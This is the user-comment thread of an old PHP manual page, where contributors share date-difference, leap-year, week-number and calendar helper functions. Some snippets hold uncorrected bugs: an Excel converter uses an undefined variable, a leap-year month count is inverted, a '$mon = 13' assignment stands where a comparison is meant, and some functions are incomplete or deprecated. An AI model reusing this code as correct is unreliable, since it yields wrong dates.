This is a litttle function I cobbled together from my own code, and snippets from this site to calculate the difference between two datetimes without having to confine it to simply one interval.  This will tell you how many weeks, days, hours, minutes, and seconds there are between the given datetimes, and also makes a little English string you can use.

This could easily be expanded to include months, and years, but I didn't want to have to deal with any of the leap year and variable month length stuff.

<?
function dateDiff($dateTimeBegin,$dateTimeEnd) {
  $dateTimeBegin =strtotime($dateTimeBegin);
  $dateTimeEnd  =strtotime($dateTimeEnd);

  if($dateTimeEnd === -1 || $dateTimeBegin === -1) {
   # error condition
   return false;
  }

  $diff = $dateTimeEnd - $dateTimeBegin;

  if ($diff < 0) {
   # error condition
   return false;
  }

  $weeks = $days = $hours = $minutes = $seconds = 0; # initialize vars

  if($diff % 604800 > 0) {
   $rest1  = $diff % 604800;
   $weeks  = ($diff - $rest1) / 604800; # seconds a week
   if($rest1 % 86400 > 0) {
     $rest2 = ($rest1 % 86400);
     $days  = ($rest1 - $rest2) / 86400; # seconds a day
     if( $rest2 % 3600 > 0 ) {
       $rest3 = ($rest2 % 3600);
       $hours = ($rest2 - $rest3) / 3600; # seconds an hour
       if( $rest3 % 60 > 0 ) {
         $seconds = ($rest3 % 60);
         $minutes = ($rest3 - $seconds) / 60;  # seconds a minute
       } else {
         $minutes = $rest3 / 60;
       }
     } else {
       $hours = $rest2 / 3600;
     }
   } else {
     $days = $rest1/ 86400;
   }
  }else {
   $weeks = $diff / 604800;
  }

  $string = array();
  if($weeks > 1) {
   $string[]  = "$weeks weeks";
  } elseif ($weeks == 1) {
   $string[]  = "a week";
  }
  if($days > 1) {
   $string[] = "$days days";
  } elseif($days == 1) {
   $string[] = "a day";
  }
  if($hours > 1) {
   $string[] = "$hours hours";
  } elseif ($hours == 1) {
   $string[] = "an hour";
  }
  if($minutes > 1) {
   $string[] = "$minutes minutes";
  } elseif ($minutes == 1) {
   $string[] = "a minute";
  }
  if($seconds > 1) {
   $string[] = "$seconds seconds";
  } elseif($seconds == 1) {
   $string[] = "a second";
  }

  # join together all the strings in the array above except the last element
  $text  = join(', ', array_slice($string,0,sizeof($string)-1)) . ", and ";
  $text .= array_pop($string);  # put the last one on after the and

  return array($text, $weeks, $days, $hours, $minutes, $seconds);
?>
JMPZ art JMPZ dort ORG
04-Mar-2005 12:31
If you are dealing with a date in a database, you could just use the mysql function DATEDIFF(expr1,expr2) To calculate the difference without big bulky php functions.
andreencinas at yahoo dot com dot br
19-Jan-2005 12:56
//function like dateDiff Microsoft
       //bug update for previous

       function dateDiff($interval,$dateTimeBegin,$dateTimeEnd) {
         //Parse about any English textual datetime
         //$dateTimeBegin, $dateTimeEnd

         $dateTimeBegin=strtotime($dateTimeBegin);
         if($dateTimeBegin === -1) {
           return("..begin date Invalid");
         }

         $dateTimeEnd=strtotime($dateTimeEnd);
         if($dateTimeEnd === -1) {
           return("..end date Invalid");
         }

         $dif=$dateTimeEnd - $dateTimeBegin;

         switch($interval) {
           case "s"://seconds
               return($dif);

           case "n"://minutes
               return(floor($dif/60)); //60s=1m

           case "h"://hours
               return(floor($dif/3600)); //3600s=1h

           case "d"://days
               return(floor($dif/86400)); //86400s=1d

           case "ww"://Week
               return(floor($dif/604800)); //604800s=1week=1semana

           case "m": //similar result "m" dateDiff Microsoft
               $monthBegin=(date("Y",$dateTimeBegin)*12)+
                 date("n",$dateTimeBegin);
               $monthEnd=(date("Y",$dateTimeEnd)*12)+
                 date("n",$dateTimeEnd);
               $monthDiff=$monthEnd-$monthBegin;
               return($monthDiff);

           case "yyyy": //similar result "yyyy" dateDiff Microsoft
               return(date("Y",$dateTimeEnd) - date("Y",$dateTimeBegin));

           default:
               return(floor($dif/86400)); //86400s=1d
         }

       }
Elizalde Baguinon
08-Jan-2005 10:46
I evaluated the modified version of Xiven's datediff (below) and I saw some errors. I switched the lines of getting the seconds and the formatting of date. I was testing the datediff() function with a "d" interval. Here I added my test code.

$dateA = "2004-12-31";
$dateB = "2005-01-01";

function datediff($interval, $date1, $date2) {
   // Function roughly equivalent to the ASP "DateDiff" function

   /* Get the seconds first */
   $seconds = strtotime($date2) - strtotime($date1);

   $date1=date("Y-m-d", strtotime($date1));
   $date2=date("Y-m-d",strtotime($date2));

   switch($interval) {
       case "y":
           list($year1, $month1, $day1) = split('-', $date1);
           list($year2, $month2, $day2) = split('-', $date2);
           $time1 = (date('H',$date1)*3600) + (date('i',$date1)*60) + (date('s',$date1));
           $time2 = (date('H',$date2)*3600) + (date('i',$date2)*60) + (date('s',$date2));
           $diff = $year2 - $year1;
           if($month1 > $month2) {
               $diff -= 1;
           } elseif($month1 == $month2) {
               if($day1 > $day2) {
                   $diff -= 1;
               } elseif($day1 == $day2) {
                   if($time1 > $time2) {
                       $diff -= 1;
                   }
               }
           }
           break;
       case "m":
           /* parses the year, month and days. split() was replaced with explode(), PHP Manual says it's faster */
           list($year1, $month1, $day1) = explode('-', $date1);
           list($year2, $month2, $day2) = explode('-',$date2);

           $time1 = (date('H',$date1)*3600) + (date('i',$date1)*60) + (date('s',$date1));
           $time2 = (date('H',$date2)*3600) + (date('i',$date2)*60) + (date('s',$date2));

           $diff = ($year2 * 12 + $month2) - ($year1 * 12 + $month1);

           if($day1 > $day2) {
               $diff -= 1;
           } elseif($day1 == $day2) {
               if($time1 > $time2) {
                   $diff -= 1;
               }
           }
           break;
       case "w":
           // Only simple seconds calculation needed from here on
           $diff = floor($seconds / 604800);
           break;
       case "d":
           $diff = floor($seconds / 86400);
           break;
       case "h":
           $diff = floor($seconds / 3600);
           break;
       case "i":
           $diff = floor($seconds / 60);
           break;
       case "s":
           $diff = $seconds;
           break;
   }
   //return the +ve integer only
   if ($diff<0){
     $diff=0-$diff;
   }
   return $diff;
}

echo "x: $dateA<br>";
echo "y: $dateB<br>";
echo "<br>";

echo datediff ("d",$dateA, $dateB);
Ruby
07-Jan-2005 12:09
just modified from Xiven

function datediff($interval, $date1, $date2) {
   // Function roughly equivalent to the ASP "DateDiff" function

   //set the date format first
   $date1= date("Y-m-d", strtotime($date1));
   $date2= date("Y-m-d",strtotime($date2));

   $seconds = $date2 - $date1;

   switch($interval) {
       case "y":
           list($year1, $month1, $day1) = split('-', $date1);
           list($year2, $month2, $day2) = split('-', $date2);
           $time1 = (date('H',$date1)*3600) + (date('i',$date1)*60) + (date('s',$date1));
           $time2 = (date('H',$date2)*3600) + (date('i',$date2)*60) + (date('s',$date2));
           $diff = $year2 - $year1;
           if($month1 > $month2) {
               $diff -= 1;
           } elseif($month1 == $month2) {
               if($day1 > $day2) {
                   $diff -= 1;
               } elseif($day1 == $day2) {
                   if($time1 > $time2) {
                       $diff -= 1;
                   }
               }
           }
           break;
       case "m":
           list($year1, $month1, $day1) = split('-', $date1);
           list($year2, $month2, $day2) = split('-',$date2);
           $time1 = (date('H',$date1)*3600) + (date('i',$date1)*60) + (date('s',$date1));
           $time2 = (date('H',$date2)*3600) + (date('i',$date2)*60) + (date('s',$date2));
           $diff = ($year2 * 12 + $month2) - ($year1 * 12 + $month1);
           if($day1 > $day2) {
               $diff -= 1;
           } elseif($day1 == $day2) {
               if($time1 > $time2) {
                   $diff -= 1;
               }
           }
           break;
       case "w":
           // Only simple seconds calculation needed from here on
           $diff = floor($seconds / 604800);
           break;
       case "d":
           $diff = floor($seconds / 86400);
           break;
       case "h":
           $diff = floor($seconds / 3600);
           break;
       case "i":
           $diff = floor($seconds / 60);
           break;
       case "s":
           $diff = $seconds;
           break;
   }
   //return the +ve integer only
   if ($diff <0)
   {
           $diff= 0-$diff;
   }
   return $diff;
}
mincklerstraat at softhome dot net
11-Oct-2004 04:43
Before you get too advanced using date functions, be sure also to see the calendar functions at http://www.php.net/manual/en/ref.calendar.php .
charles at etherscapes dot com
04-Jun-2004 07:54
There are two dates that I know of that produce an incorrect result for the date functions above: 2004-04-04 and 2004-04-05. The days difference is zero instead of one.
jens at jebecs dot de
03-Jun-2004 07:29
There is an error in vincentv's post from 07-Feb-2001 11:23:
In function dayDiff(..) the return statement must be replaced by:
<?
return ( (getYear($timestamp1)*365 + $dayInYear1) -
         (getYear($timestamp2)*365 + $dayInYear2) );
?>
nickaubert at america's biggest isp dot com
13-Apr-2004 04:13
I ran into an issue using a function that loops through an array of dates where the keys to the array are the Unix timestamp for midnight for each date.  The loop starts at the first timestamp, then incremented by adding 86400 seconds (ie. 60 x 60 x 24).  However, Daylight Saving Time threw off the accuracy of this loop, since certain days have a duration other than 86400 seconds.  I worked around it by adding a couple of lines to force the timestamp to midnight at each interval.

<?php
  $ONE_DAY = 90000;  // can't use 86400 because some days have one hour more or less
  for ( $each_timestamp = $start_time ; $each_timestamp <= $end_time ; $each_timestamp +=  $ONE_DAY) {

   /*  force midnight to compensate for daylight saving time  */
   $this_timestamp_array = getdate( $each_timestamp );
   $each_timestamp = mktime ( 0 , 0 , 0 , $this_timestamp_array[mon] , $this_timestamp_array[mday] , $this_timestamp_array[year] );

     // do some stuff...
  }
?>
pk_jsp at rediffmail dot com
12-Apr-2004 03:06
Just want to add a comment to the function datediff given by Xiven that simple difference of 2 dates as in
 $seconds = $date2 - $date1; will nor work instead the following need to be used.
 $seconds = strtotime($date2) - strtotime($date1);
scott_webster_2000 at yahoo dot com
21-Feb-2004 02:02
Here is a slight improvement over wwb_99@yahoo's entry.  (It works now.)

function date_diff($earlierDate, $laterDate) {
  //returns an array of numeric values representing days, hours, minutes & seconds respectively
  $ret=array('days'=>0,'hours'=>0,'minutes'=>0,'seconds'=>0);

  $totalsec = $laterDate - $earlierDate;
  if ($totalsec >= 86400) {
   $ret['days'] = floor($totalsec/86400);
   $totalsec = $totalsec % 86400;
  }
  if ($totalsec >= 3600) {
   $ret['hours'] = floor($totalsec/3600);
   $totalsec = $totalsec % 3600;
  }
  if ($totalsec >= 60) {
   $ret['minutes'] = floor($totalsec/60);
  }
  $ret['seconds'] = $totalsec % 60;
  return $ret;
}
php at sarge dot ch
28-Jan-2004 08:58
Additional thisone here (didn't test it yet but should work :D):

<?php
/**
 * Calculates the Difference between two timestamps
 *
 * @param integer $start_timestamp
 * @param integer $end_timestamp
 * @param integer $unit (default 0)
 * @return string
 * @access public
 */
function dateDifference($start_timestamp,$end_timestamp,$unit= 0){
  $days_seconds_star= (23 * 56 * 60) + 4.091; // Star Day
  $days_seconds_sun= 24 * 60 * 60; // Sun Day
  $difference_seconds= $end_timestamp - $start_timestamp;
  switch($unit){
   case 3: // Days
     $difference_days= round(($difference_seconds / $days_seconds_sun),2);
     return 'approx. '.$difference_hours.' Days';
   case 2: // Hours
     $difference_hours= round(($difference_seconds / 3600),2);
     return 'approx. '.$difference_hours.' Hours';
   break;
   case 1: // Minutes
     $difference_minutes= round(($difference_seconds / 60),2);
     return 'approx. '.$difference_minutes.' Minutes';
   break;
   default: // Seconds
     if($difference_seconds > 1){
       return $difference_seconds.' Seconds';
     }
     else{
       return $difference_seconds.' Second';
     }
  }
}
?>
wwb_99 at yahoo dot com
26-Jan-2004 05:12
Handy little function getting the total difference in dates.

function DateDiff($tfirst, $tsecond)
{
   //returns an array with numeric values for in an array measuring days, hours, minutes & seconds
   $ret=array();
   $totalsec=$tsecond-$tfirst;
   $ret['days']=round(($totalsec/86400));
   $totalsec=$totalsec % 86400;
   $ret['hours']=round(($totalsec/3600));
   $totalsec=$totalsec % 3600;
   $ret['minutes']=round(($totalsec/60));
   $ret['seconds']=$totalsec % 60;
   return $ret;
}
php at elmegil dot net
21-Dec-2003 02:40
A much easier way to do days diff is to use Julian Days from the Calendar functions:

$start = gregoriantojd($smon, $sday, $syear);
$end = gregoriantojd($emon, $eday, $eyear);
$daysdiff = $end - $start;

You can see the obvious ways to wrap a function around that.
vincentv at thevoid dot demon dot nl
20-Nov-2003 05:56
A rectification to the some of the functions i posted a while ago.

They do not work correctly under all circumstances (in my small test cases they worked) which is due to the fact that when you create a date using mktime, which returns a certain amount of seconds, this is not valid for every month since each month has a different amount of seconds.

The solution is to break up the original timestamp, add to it's seperate parts and create a new timestamp.

Old:
=====
function sub($timestamp, $seconds,$minutes,$hours,$days,$months,$years) {
   $mytime = mktime(1+$hours,0+$minutes,0+$seconds,1+$months,1+$days,1970+$years);
   return $timestamp - $mytime;
}
function add($timestamp, $seconds,$minutes,$hours,$days,$months,$years) {
   $mytime = mktime(1+$hours,0+$minutes,0+$seconds,1+$months,1+$days,1970+$years);
   return $timestamp + $mytime;
}
=====

New:
=====
function add($timestamp, $seconds, $minutes, $hours, $days, $months, $years) {
   $timePieces = getdate($timestamp);
   return mktime(    $timePieces["hours"] + $hours,
                   $timePieces["minutes"] + $minutes,
                   $timePieces["seconds"] + $seconds,
                   $timePieces["mon"] + $months,
                   $timePieces["mday"] + $days,
                   $timePieces["year"] + $years );
}
function sub($timestamp, $seconds, $minutes, $hours, $days, $months, $years) {
   $timePieces = getdate($timestamp);
   return mktime(    $timePieces["hours"] - $hours,
                   $timePieces["minutes"] - $minutes,
                   $timePieces["seconds"] - $seconds,
                   $timePieces["mon"] - $months,
                   $timePieces["mday"] - $days,
                   $timePieces["year"] - $years );
}
=====

Regards,
- Vincent
CodeDuck at gmx dot net
07-Nov-2003 10:30
in reply to dkan at netscreen dot com 29-Aug-2003 07:40
> Zero-padding is easier to read and less complicated if you
> use the substr() function instead of an if-then statement.

my two versions of printtime with padding:

<?
function printtime() {
   $timenow = getdate();
   printf(
     '%02d %02d %02d',
     $timenow["hours"],
     $timenow["minutes"],
     $timenow["seconds"]
   );
}
?>

or the better one:
<?
function printtime() {
   echo date('H i s');
}
?>
Xiven
02-Oct-2003 09:09
One thing PHP really lacks IMHO is an equivalent of ASP's "DateDiff" function.  Here's a function that comes close to duplicating the functionality:

<?php
function datediff($interval, $date1, $date2) {
   // Function roughly equivalent to the ASP "DateDiff" function
   $seconds = $date2 - $date1;

   switch($interval) {
       case "y":
           list($year1, $month1, $day1) = split('-', date('Y-m-d', $date1));
           list($year2, $month2, $day2) = split('-', date('Y-m-d', $date2));
           $time1 = (date('H',$date1)*3600) + (date('i',$date1)*60) + (date('s',$date1));
           $time2 = (date('H',$date2)*3600) + (date('i',$date2)*60) + (date('s',$date2));
           $diff = $year2 - $year1;
           if($month1 > $month2) {
               $diff -= 1;
           } elseif($month1 == $month2) {
               if($day1 > $day2) {
                   $diff -= 1;
               } elseif($day1 == $day2) {
                   if($time1 > $time2) {
                       $diff -= 1;
                   }
               }
           }
           break;
       case "m":
           list($year1, $month1, $day1) = split('-', date('Y-m-d', $date1));
           list($year2, $month2, $day2) = split('-', date('Y-m-d', $date2));
           $time1 = (date('H',$date1)*3600) + (date('i',$date1)*60) + (date('s',$date1));
           $time2 = (date('H',$date2)*3600) + (date('i',$date2)*60) + (date('s',$date2));
           $diff = ($year2 * 12 + $month2) - ($year1 * 12 + $month1);
           if($day1 > $day2) {
               $diff -= 1;
           } elseif($day1 == $day2) {
               if($time1 > $time2) {
                   $diff -= 1;
               }
           }
           break;
       case "w":
           // Only simple seconds calculation needed from here on
           $diff = floor($seconds / 604800);
           break;
       case "d":
           $diff = floor($seconds / 86400);
           break;
       case "h":
           $diff = floor($seconds / 3600);
           break;
       case "i":
           $diff = floor($seconds / 60);
           break;
       case "s":
           $diff = $seconds;
           break;
   }
   return $diff;
}
?>
dkan at netscreen dot com
30-Aug-2003 04:40
Zero-padding is easier to read and less complicated if you use the substr() function instead of an if-then statement.

function printtime() {
   $timenow = getdate();
   $hours = substr("0" . $timenow["hours"], -2);
   $minutes = substr("0" . $timenow["minutes"], -2);
   $seconds = substr("0" . $timenow["seconds"], -2);

   print($hours . " " . $minutes . " " . $seconds);
}
bitbuster at example dot com
24-Jul-2003 11:01
If you have to compare timestamps, I suggest you do it inside the database.. postgres, for example, allows statements like this:

select (current_timestamp < (select zeitdatum from time_test where zahl=5) );
menaurus at gmx dot de
16-Jul-2003 07:37
The argument has to be in the standard mysql format (y-m-d)...

function age($date) {

if (!$date) return false;
$year=0+substr($date,0,4);
$month=0+substr($date,5,2);
$day=0+substr($date,8,2);
$t=0;
$d=date("d");
$m=date("m");
$y=date("Y");
$age=$y-$year;

if ($m<$month) $t=-1;
else if ($m==$month) if ($d<$day) $t=-1;

return ($age+$t);
}

this funktion has got a little bug:
On Line 12 and 13...
Bugfix:
12 if ($month<$m) $t=-1;
13 else if ($m==$month AND $day<$d) $t=-1;
you NOSPAM don't need 2 know ETC
24-Mar-2003 11:17
EXCEL DATES TO UNIX TIMESTAMPS
----------------------------

I get a lot of dates which are sent to me in those dastardly Excel spreadsheet things. For example, the date 15 April 1976, Excel stores as 27865.

I convert these to UNIX timestamps using the little function below.

<?
function xl2timestamp($xl_date)
{
$timestamp = ($xl - 25569) * 86400;
return $timestamp;
}
?>
garyc at earthling dot net
19-Mar-2003 12:08
I needed to calculate the week number from a given date and vice versa, where the week starts with a Monday and the first week of a year may begin the year before, if the year begins in the middle of the week (Tue-Sun). This is the way weekly magazines calculate their issue numbers.

Here are two functions that do exactly that:

Hope somebody finds this useful.

Gary

/*  w e e k n u m b e r  -------------------------------------- //
weeknumber returns a week number from a given date (>1970, <2030)
Wed, 2003-01-01 is in week 1
Mon, 2003-01-06 is in week 2
Wed, 2003-12-31 is in week 53, next years first week
Be careful, there are years with 53 weeks.
// ------------------------------------------------------------ */

function weeknumber ($y, $m, $d) {
   $wn = strftime("%W",mktime(0,0,0,$m,$d,$y));
   $wn += 0; # wn might be a string value
   $firstdayofyear = getdate(mktime(0,0,0,1,1,$y));
   if ($firstdayofyear["wday"] != 1)    # if 1/1 is not a Monday, add 1
       $wn += 1;
   return ($wn);
}    # function weeknumber

/*  d a t e f r o m w e e k  ---------------------------------- //
From a weeknumber, calculates the corresponding date
Input: Year, weeknumber and day offset
Output: Exact date in an associative (named) array
2003, 12, 0: 2003-03-17 (a Monday)
1995,  53, 2: 1995-12-xx
...
// ------------------------------------------------------------ */

function datefromweek ($y, $w, $o) {

   $days = ($w - 1) * 7 + $o;

   $firstdayofyear = getdate(mktime(0,0,0,1,1,$y));
   if ($firstdayofyear["wday"] == 0) $firstdayofyear["wday"] += 7;
# in getdate, Sunday is 0 instead of 7
   $firstmonday = getdate(mktime(0,0,0,1,1-$firstdayofyear["wday"]+1,$y));
   $calcdate = getdate(mktime(0,0,0,$firstmonday["mon"], $firstmonday["mday"]+$days,$firstmonday["year"]));

   $date["year"] = $calcdate["year"];
   $date["month"] = $calcdate["mon"];
   $date["day"] = $calcdate["mday"];

   return ($date);

}    # function datefromweek
balin
16-Feb-2003 05:23
this function count days between $start and $end dates in mysql format (yyyy-mm-dd)
if one of paramters is 0000-00-00 will return 0
$start date must be less then $end
<?
//For Count Days
function count_days($start, $end)
{
   if( $start != '0000-00-00' and $end != '0000-00-00' )
   {
       $timestamp_start = strtotime($start);
       $timestamp_end = strtotime($end);
       if( $timestamp_start >= $timestamp_end ) return 0;
       $start_year = date("Y",$timestamp_start);
       $end_year = date("Y", $timestamp_end);
       $num_days_start = date("z",strtotime($start));
       $num_days_end = date("z", strtotime($end));
       $num_days = 0;
       $i = 0;
       if( $end_year > $start_year )
       {
           while( $i < ( $end_year - $start_year ) )
           {
             $num_days = $num_days + date("z", strtotime(($start_year + $i)."-12-31"));
             $i++;
           }
         }
         return ( $num_days_end + $num_days ) - $num_days_start;
   }
   else
   {
         return 0;
     }
}
?>
jlim at natsoft dot com dot my
26-Jan-2003 05:28
For a date() function that supports dates outside the range 1901 and 2038 (by using floats when needed) see adodb_date( ) in

http://php.weblogs.com/adodb_date_time_library
zan at stargeek dot com
25-Jan-2003 01:49
an update to my earlier webcalendar funciton this is a class that uses a table full of start and end dates to generate a webcalendar http://www.stargeek.com/scripts.php?script=11&cat=blog
brighn (a) yahoo (.) com
03-Jan-2003 01:46
I needed a function that determined the last Sunday of the month. Since it's made for the website's "next meeting" announcement, it goes based on the system clock; also, if today is between Sunday and the end of the month, it figures out the last Sunday of *next* month. lastsunday() takes no arguments and returns the date as a string in the form "January 26, 2003". I could probably have streamlined this quite a bit, but at least it's transparent code. =)

  /* The two functions calculate when the next meeting will
     be, based on the assumption that the meeting will be on
     the last Sunday of the month. */

  function getlast($mon, $year) {
   $daysinmonth = array(31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31);
   $days = $daysinmonth[$mon-1];
   if ($mon == 2 && ($year % 4) == 0 && (($year % 100) != 0 ||
   ($year % 400) == 0)) $days++;
   if ($mon == 2 && ($year % 4) == 0 && ($year % 1000) != 0) $days++;
   $lastday = getdate(mktime(0,0,0,$mon,$days,$year));
   $wday = $lastday['wday'];
   return getdate(mktime(0,0,0,$mon,$days-$wday,$year));
  }

  function lastsunday() {
   $today = getdate();
   $mon = $today['mon'];
   $year = $today['year'];
   $mday = $today['mday'];
   $lastsun = getlast($mon, $year);
   $sunday = $lastsun['mday'];
   if ($sunday < $mday) {
     $mon++;
     if ($mon = 13) {
       $mon = 1;
       $year++;
     }
     $lastsun = getlast($mon, $year);
     $sunday = $lastsun['mday'];
   }
   $nextmeeting = getdate(mktime(0,0,0,$mon,$sunday,$year));
   $month = $nextmeeting['month'];
   $mday = $nextmeeting['mday'];
   $year = $nextmeeting['year'];
   return "$month $mday, $year";
  }
visualmind at php dot net
25-Dec-2002 04:49
Here's a new function for Hejri (Hijri) date conversion, It has a better flawless calculation than the previous posted function and it's implemented to be an official alternative for the php DATE function which returns Arabic Translated date and optionally Hejri converted.
Note: to view arabic titles correctly change view-encoding to Arabic-Windows (windows-1256)

function arabicDate($format, $timestamp) {
   /*
       written by Salah Faya (visualmind@php.net) http://www.php4arab.info/scripts/arabicDate
         $format:
               [*]hj|ar|en:[jdl][Fmn][Yy][Aa]  (php.date function handles the rest chars)
               * will add <span dir=rtl lang=ar-sa>..</span>
           examples:
               echo arabicDate('hj:l d-F-Y ', time());
               echo arabicDate('ar:l d/F - h:iA', time());
   */
   $format=trim($format);
   if (substr($format,0,1)=='*') {
               $use_span=true;
       $format=substr($format,1);
       } else $use_span=false;
   $type=substr($format,0,3);

   $arDay = array("Sat"=>"", "Sun"=>"", "Mon"=>"", "Tue"=>"",
 "Wed"=>"", "Thu"=>"", "Fri"=>"");
   $ampm=array('am'=>'','pm'=>'');
   list($d,$m,$y,$dayname,$monthname,$am)=explode(' ',date('d m Y D M a', $timestamp));
   if ($type=='hj:') {
       if (($y>1582)||(($y==1582)&&($m>10))||(($y==1582)&&($m==10)&&($d>14))) {
           $jd=ard_int((1461*($y+4800+ard_int(($m-14)/12)))/4);
           $jd+=ard_int((367*($m-2-12*(ard_int(($m-14)/12))))/12);
           $jd-=ard_int((3*(ard_int(($y+4900+ard_int(($m-14)/12))/100)))/4);
           $jd+=$d-32075;
       } else    {
           $jd = 367*$y-ard_int((7*($y+5001 + ard_int(($m-9)/7)))/4) + ard_int((275*$m)/9)+$d+1729777;
       }
       $l=$jd-1948440+10632;
       $n=ard_int(($l-1)/10631);
       $l=$l-10631*$n+355;  // Correction: 355 instead of 354
       $j=(ard_int((10985-$l)/5316)) * (ard_int((50*$l)/17719)) + (ard_int($l/5670)) * (ard_int((43*$l)/15238));
       $l=$l-(ard_int((30-$j)/15)) * (ard_int((17719*$j)/50)) - (ard_int($j/16)) * (ard_int((15238*$j)/43))+29;
       $m=ard_int((24*$l)/709);
       $d=$l-ard_int((709*$m)/24);
       $y=30*$n+$j-30;
       $format=substr($format,3);
       $hjMonth = array("", "", " ", " ",
 " ", " ", "", "", "", "", " ", " ");
       $format=str_replace('j', $d, $format);
       $format=str_replace('d', str_pad($d,2,0,STR_PAD_LEFT), $format);
       $format=str_replace('l', $arDay[$dayname], $format);
       $format=str_replace('F', $hjMonth[$m-1], $format);
       $format=str_replace('m', str_pad($m,2,0,STR_PAD_LEFT), $format);
       $format=str_replace('n', $m, $format);
       $format=str_replace('Y', $y, $format);
       $format=str_replace('y', substr($y,2), $format);
       $format=str_replace('a', substr($ampm[$am],0,1), $format);
       $format=str_replace('A', $ampm[$am], $format);
   } elseif ($type=='ar:') {
       $format=substr($format,3);
       $arMonth=array("Jan"=>"", "Feb"=>"","Mar"=>"", "Apr"=>"", "May"=>"",
"Jun"=>"", "Jul"=>"", "Aug"=>"", "Sep"=>"", "Oct"=>"",
 "Nov"=>"", "Dec"=>"");
       $format=str_replace('l', $arDay[$dayname], $format);
       $format=str_replace('F', $arMonth[$monthname], $format);
       $format=str_replace('a', substr($ampm[$am],0,1), $format);
       $format=str_replace('A', $ampm[$am], $format);
       }
   $date = date($format, $timestamp);
   if ($use_span) return '<span dir="rtl" lang="ar-sa">'.$date.'</span>';
   else return $date;
}

function ard_int($float) {
       return ($float < -0.0000001) ? ceil($float-0.0000001) : floor($float+0.0000001);
}
eric at nitrateNO_SPAM dot nl
09-Dec-2002 09:16
Here is a quick example of how to iterate through all days
between 2 dates (with a adjustable increment)
---------------------------------------------------------
//make time stamps from our start & end dates
$start_time = mktime(0,0,0,$start_month,$start_day,$start_year);
$end_time = mktime(0,0,0,$end_month,$end_day,$end_year);

//find the number of days between start_time & end_time
$days = ($end_time - $start_time) / (24 * 3600);
//we want to count the days including the first ..
$days++;

//select a 1 week interval ..
$inc=7;

//find all days (actually periods since we use a increment)
for ($i=0;$i<$days;$i+=$inc)
{
  //calculate start & end of period using some magic of mktime :)
  $start_date = date("Y-m-d", mktime(0,0,0,$start_month,$start_day+$i,$start_year));
  $end_date = date("Y-m-d", mktime(0,0,0,$start_month,$start_day+$i+$inc-1,$start_year));
  //print it all ...
  print("Period start:" . $start_date . "\n");
  print("Period end: " . $end_date . "\n");
}
asg at ftpproxy dot org
25-Sep-2002 04:23
If you like to have the last day of the current month, try this oneliner:

$lastday = strftime ("%d.%m.%Y", (mktime (0,0,0,(date(m)+1),0,(date(Y)))));

-
nightowl at NOS-PA-M dot uk2 dot net
31-Jul-2002 01:59
I wanted to find all records in my database which match the current week (for a call-back function). I made up this function to find the start and end of the current week :

function week($curtime) {

   $date_array = getdate (time());
   $numdays = $date_array["wday"];

   $startdate = date("Y-m-d", time() - ($numdays * 24*60*60));
   $enddate = date("Y-m-d", time() + ((7 - $numdays) * 24*60*60));

   $week['start'] = $startdate;
   $week['end'] = $enddate;

   return $week;

}
mwedgwood at ILUVSPAMhotmail dot com
01-Apr-2002 05:24
In vincentv's examples, you should use gmmktime instead of mktime for portability across time zones. For example:

function DateSub($timestamp, $unit, $amount) {
// Possible $units are: "hr", "min", "sec",
//          "mon", "day", or "yr"
// $amount should be an integer
   $delta_vars = array("hr"=>0, "min"=>0,
   "sec"=>0, "mon"=>1,
   "day"=>1,"yr"=>1970);
   $delta_vars[$unit] += $amount;
   $delta = gmmktime($delta_vars["hr"],
   $delta_vars["min"],
   $delta_vars["sec"],
   $delta_vars["mon"],
   $delta_vars["day"],
   $delta_vars["yr"]);
   return $timestamp - $delta;
}
mindaugas at roventa dot lt
18-Feb-2002 07:31
Some lines about LeapYear and day count of month:

   function mod($a,$b)
   {
   $x1=(int) abs($a/$b);
   $x2=$a/$b;
   return $a-($x1*$b);
   }

   function IsLeapYear($dt)
   {
   $y=$dt["year"];
   $bulis=((mod($y,4)==0) && ((mod ($y,100)<>0) || (mod($y,400)==0)));
   return $bulis;
   }

   function daycount($dt)
   {
   $dc_year=$dt["year"];
   $dc_month=$dt["mon"];
   $dc_day=$dt["mday"];
   switch ($dc_month)
   {
   case  1:
   case  3:
   case  5:
   case  7:
   case  8:
   case 10:
   case 12:
           return 31;
       break;
   case  4:
   case  6:
   case  9:
   case 11:
           return 30;
       break;
   case 2:
       if (IsLeapYear($dt)) { return 28; } else { return 29; };
       break;
   }
   }
php-contrib at i-ps dot nospam dot net
30-Jan-2002 10:07
Someone may find this info of some use:

Rules for calculating a leap year:

1) If the year divides by 4, it is a leap year (1988, 1992, 1996 are leap years)
2) Unless it divides by 100, in which case it isn't (1900 divides by 4, but was not a leap year)
3) Unless it divides by 400, in which case it is actually a leap year afterall (So 2000 was a leap year).

In practical terms, to work out the number of days in X years, multiply X by 365.2425, rounding DOWN to the last whole number, should give you the number of days.

The result will never be more than one whole day inaccurate, as opposed to multiplying by 365, which, over more years, will create a larger and larger deficit.
vincentv at thevoid dot demon dot nl
08-Feb-2001 09:23
Some general date functions.

function sub($timestamp, $seconds,$minutes,$hours,$days,$months,$years) {
   $mytime = mktime(1+$hours,0+$minutes,0+$seconds,1+$months,1+$days,1970+$years);
   return $timestamp - $mytime;
}
function add($timestamp, $seconds,$minutes,$hours,$days,$months,$years) {
   $mytime = mktime(1+$hours,0+$minutes,0+$seconds,1+$months,1+$days,1970+$years);
   return $timestamp + $mytime;
}
function dayOfWeek($timestamp) {
   return intval(strftime("%w",$timestamp));
}
function daysInMonth($timestamp) {
   $timepieces    = getdate($timestamp);
   $thisYear          = $timepieces["year"];
   $thisMonth        = $timepieces["mon"];

   for($thisDay=1;checkdate($thisMonth,$thisDay,$thisYear);$thisDay++);

   return $thisDay;
}
function firstDayOfMonth($timestamp) {
   $timepieces        = getdate($timestamp);
   return mktime(    $timepieces["hours"],
                     $timepieces["minutes"],
                   $timepieces["seconds"],
                   $timepieces["mon"],
                   1,
                   $timepieces["year"]);
}
function monthStartWeekDay($timestamp) {
   return dayOfWeek(firstDayOfMonth($timestamp));
}
function weekDayString($weekday) {
   $myArray = Array(        0 => "Sun",
                             1 => "Mon",
                           2 => "Tue",
                           3 => "Wed",
                           4 => "Thu",
                           5 => "Fri",
                           6 => "Sat");
   return $myArray[$weekday];
}
function stripTime($timestamp) {
   $timepieces        = getdate($timestamp);
   return mktime(    0,
                     0,
                   0,
                   $timepieces["mon"],
                   $timepieces["mday"],
                   $timepieces["year"]);
}
function getDayOfYear($timestamp) {
   $timepieces        = getdate($timestamp);
   return intval($timepieces["yday"]);
}
function getYear($timestamp) {
   $timepieces        = getdate($timestamp);
   return intval($timepieces["year"]);
}
